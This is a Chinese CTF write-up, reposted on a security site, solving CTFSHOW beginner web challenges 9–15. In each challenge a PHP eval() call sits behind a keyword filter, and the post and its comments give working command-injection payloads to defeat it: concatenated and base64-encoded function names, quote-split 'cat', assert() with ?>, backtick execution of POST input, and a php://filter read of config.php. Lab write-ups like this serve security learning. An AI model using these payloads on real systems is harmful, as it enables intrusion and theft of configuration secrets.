CTFSHOW 萌新计划web9-15

admin 2022年1月5日22:53:10CTF专场评论10 views1425字阅读4分45秒阅读模式

>

>

CTFSHOW 萌新计划web9-15

_yu_

题目地址:http://ctf.show

0x01 web9

乍一看别被迷惑了,这个正则是字符串中包含 system、exec、highlight才能执行eval()。

if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }

所以很简单,直接 c=highlight_file('config.php'); 即可

0x02 web10

这个就是比较正常的过滤了上一道题可用的函数,构造法轻松绕过

c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag需要右键查看源代码。

0x03 web11

在上题的基础上增加了cat的禁用,这个好说,linux有很多类似于cat的方法 tac、more、less、head、tail、nl、sed、sort、uniq.
当然我们也可以单引号或者双引号或者反斜杠绕过cat
比如 ca''t config.php ca"t config.php ca\t config.php,因为是以字符串的形式,所以用单引号还是双引号则要看你外层用的哪种了,不能产生错误,比如
system('ca""t config.php') system("ca''t config.php")

0x04 web12

php有很多的命令执行函数,因为题中禁用了其中几个,我们还可以使用其他的
常见的系统命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

我这里给出两个payload
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat `ls` 相当于将 ls出来的结果cat。

c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

0x04 web13

这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assert中 的字符串可以没有分号.
所以给出两个payload

c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>

0x05 web14,15

话不多说直接payload

web14

?c=echo `$_POST[1]`?>

然后再post传入 1=cat config.php

web15

?c=echo `$_POST[1]`;

然后再post传入 1=cat config.php

这些题的答案有很多种,大家可以自行探索

hdxw

/?c=echo%20$flag;


fgfxf

hdxw 大佬!!!


fgfxf

?c=include "php://filter/read=convert.base64-encode/resource=config.php";


Restart

web14为什么不能用$_GET呢?


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:53:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CTFSHOW 萌新计划web9-15 http://cn-sec.com/archives/719486.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: